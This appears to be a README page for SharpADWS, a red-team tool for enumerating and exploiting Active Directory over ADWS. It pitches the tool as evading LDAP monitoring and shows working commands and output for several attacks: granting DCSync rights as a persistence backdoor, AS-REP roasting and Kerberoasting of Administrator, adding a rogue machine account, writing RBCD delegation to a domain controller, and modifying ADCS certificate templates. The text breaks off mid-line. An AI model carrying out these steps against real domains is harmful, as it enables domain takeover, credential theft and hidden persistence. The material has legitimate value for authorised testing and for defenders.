通过Active Directory Web Services(ADWS)对红队进行主动目录侦察和开发.
Active Directory reconnaissance and exploitation for Red Teams via the Active Directory Web Services (ADWS).
SharpADWS is an Active Directory reconnaissance and exploitation tool for Red Teams that collects and modifies Active Directory data via the Active Directory Web Services (ADWS) protocol.
Typically, enumeration or manipulation of Active Directory occurs through the LDAP protocol. SharpADWS has the ability to extract or modify Active Directory data without communicating directly with the LDAP server. Under ADWS, LDAP queries are wrapped in a series of SOAP messages and then sent to the ADWS server using a NET TCP Binding encrypted channel. The ADWS server then unpacks the LDAP query locally and forwards it to the LDAP server running on the same domain controller.
Active Directory Web Services (ADWS) is automatically turned on when Active Directory Domain Services (ADDS) is installed, making SharpADWS universal across all domain environments.
One of the main benefits of using ADWS for LDAP post-exploitation is that it is relatively unknown, and since LDAP traffic is not sent over the network, it is not easily detected by common monitoring tools. ADWS runs a completely different service than LDAP, is available on TCP port 9389, and uses the SOAP protocol as its interface.
While researching ADWS, we noticed that since it is a SOAP web service, the actual execution of the LDAP query is done locally on the domain controller. This provides a number of interesting side effects that turn out to be beneficial. For example, when analyzing LDAP queries on a domain controller, you may notice that the queries originate from 127.0.0.1 logs, which in many cases will be ignored.
A secondary benefit of this is that the activity does not show up in DeviceEvents under the LDAPSearch action type, which means very little telemetry data is available.
SharpADWS implements MS-ADDM, MS-WSTIM and MS-WSDS protocol, you can use the source code of this project to easily implement the following operations on Active Directory Web Services:
The command line argument -h can be used to display the following usage information:
…When SharpADWS enumerates the ACL, in order not to perform additional ADWS requests for each unknown trustee object, it is necessary to create a complete cache of all account objects in advance through the cache method and save it to a file, thereby avoiding a large number of (unnecessary) flow. The cache contains a mapping of each account object name within the current domain to its objectSid.
C:\Users\Marcus>SharpADWS.exe Cache
[*] Cache file has been generated: object.cache
The Acl method can enumerate the DACL of the object specifying -dn, and supports filtering the enumerated DACL through the -trustee, -right and -rid parameters. For example, we want to enumerate all Domain Controller objects and filter out the DACL whose trustee is Marcus, as follows:
C:\Users\Marcus>SharpADWS.exe acl -dn "OU=Domain Controllers,DC=corp,DC=local" -scope Subtree -trustee Marcus
Severity : Critical
ObjectDN : CN=DC01,OU=Domain Controllers,DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
ObjectType : All
Trustee : Marcus
IsInherited : False
For another example, we want to enumerate all User objects and filter out DACLs with GenericWrite permissions and trustee RID greater than 1000, as shown below:
C:\Users\Marcus>SharpADWS.exe acl -dn "CN=Users,DC=corp,DC=local" -scope Subtree -right Generic -rid 1000
Severity : Critical
ObjectDN : CN=Bob,CN=Users,DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
ObjectType : All
Trustee : Marcus
IsInherited : False
In addition, the Acl method also supports enumeration of specific objects:
SharpADWS.exe acl -user # Enumerate DACL for all user objects
SharpADWS.exe acl -computer # Enumerate DACL for all computer objects
SharpADWS.exe acl -group # Enumerate DACL for all group objects
SharpADWS.exe acl -domain # Enumerate DACL for all domain objects
SharpADWS.exe acl -domaincontroller # Enumerate DACL for all domain controller objects
SharpADWS.exe acl -gpo # Enumerate DACL for all gpo objects**It should be noted that the use of Acl Method must rely on the mapping cache that has been established through Cache method. **
The list action of the DCSync method can query all accounts that have been granted the DS-Replication-Get-Changes, DS-Replication-Get-Changes-All and DS-Replication-Get-Changes-In-Filtered-Set permissions, as follows Show:
…It should be noted that the list action of DCSync Method must rely on the mapping cache that has been established through Cache method.
Additionally, given sufficient permissions, you can grant DCSync permissions to an account via write to establish a domain persistence backdoor:
C:\Users\Marcus>SharpADWS.exe DCSync -action write -target Marcus
[*] Account Marcus now has DCSync privieges on the domain.
The list action of the DontReqPreAuth method can find all accounts with the "Do not require kerberos preauthentication" option set, as shown below:
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action list
[*] Found users that do not require kerberos preauthentication:
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*] CN=Alice,CN=Users,DC=corp,DC=local
[*] CN=John,CN=Users,DC=corp,DC=local
Additionally, you can abuse WriteProperty permissions on the target account's userAccountControl property by enabling the "Do not require kerberos preauthentication" option for that account via write action to perform an AS-REP Roasting attack:
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action write -target Administrator
[*] Set DontReqPreAuth for user Administrator successfully!
The list action of the Kerberoastable method can find all accounts with SPN set up, as shown below:
C:\Users\Marcus>SharpADWS.exe Kerberoastable -action list
[*] Found kerberoastable users:
[*] CN=krbtgt,CN=Users,DC=corp,DC=local
[*] kadmin/changepw
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*] WWW/win-iisserver.corp.local/IIS
[*] TERMSERV/win-iisserver.corp.local
[*] CN=John,CN=Users,DC=corp,DC=local
[*] TERMSERV/WIN-SERVER2026
Additionally, you can abuse WriteProperty permissions on the target account's servicePrincipalName property to perform a Kerberoasting attack by adding an SPN to that account (user accounts only) via write action:
C:\Users\Marcus>SharpADWS.exe Kerberoastable -action write -target Administrator
[*] Kerberoast user Administrator successfully!
The AddComputer method allows you to create a new computer account within the scope of the ms-DS-MachineAccountQuota attribute value, which can be used in subsequent RBCD attacks.
C:\Users\Marcus>SharpADWS.exe AddComputer -computer-name PENTEST$ -computer-pass Passw0rd
[*] Successfully added machine account PENTEST$ with password Passw0rd.
The read action of the RBCD method can read the msDS-AllowedToActOnBehalfOfOtherIdentity attribute value of the specified account object to check who has the right to resources delegate to the account, as shown below:
C:\Users\Marcus>SharpADWS.exe RBCD -action read -delegate-to DC01$
[*] Accounts allowed to act on behalf of other identity:
[*] WIN-IISSERVER$ (S-1-5-21-1315326963-2851134370-1073178800-1106)
[*] WIN-MSSQL$ (S-1-5-21-1315326963-2851134370-1073178800-1103)
[*] WIN-PC8087$ (S-1-5-21-1315326963-2851134370-1073178800-1117)
The write action of the RBCD method can write to the msDS-AllowedToActOnBehalfOfOtherIdentity property of the target account object for Resource-Based Constrained Delegation attacks. As shown below, we first create a new extreme account PENTEST$ using the AddComputer method, and then we can execute the following command to write the SID of PENTEST$ into the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of DC01$:
C:\Users\Marcus>SharpADWS.exe RBCD -action write -delegate-to DC01$ -delegate-from PENTEST$
[*] Delegation rights modified successfully!
[*] PENTEST$ can now impersonate users on DC01$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113)
In addition, the SID added in write action can be removed from the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the target object through remove action:
C:\Users\Marcus>SharpADWS.exe RBCD -action remove -delegate-to DC01$ -delegate-from PENTEST$
[*] Delegation rights modified successfully!
[*] Accounts allowed to act on behalf of other identity has been removed:
[*] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113)
The find action of the Certify method can enumerate the data in ADCS, including all certificate authorities and certificate templates, just like Certify:
…In addition, find action supports the -enrolleeSuppliesSubject and -clientAuth options, which can filter out all certificate templates that have the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag turned on and support Client Authentication:
…**It should be noted that the find of Certify Method must rely on the mapping cache that has been established through Cache Method. **
The modify action of the Certify method allows you to modify the properties of the certificate template, such as turning on the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag or enabling Client Authentication, if you have write access to the target template:
C:\Users\Marcus>SharpADWS.exe Certify -action modify -template User -enrolleeSuppliesSubject -clientAuth
[*] Enable enrollee supplies subject for template User successfully!
[*] Enable client authentication for template暂无开放 Issues,或尚未同步最近议题。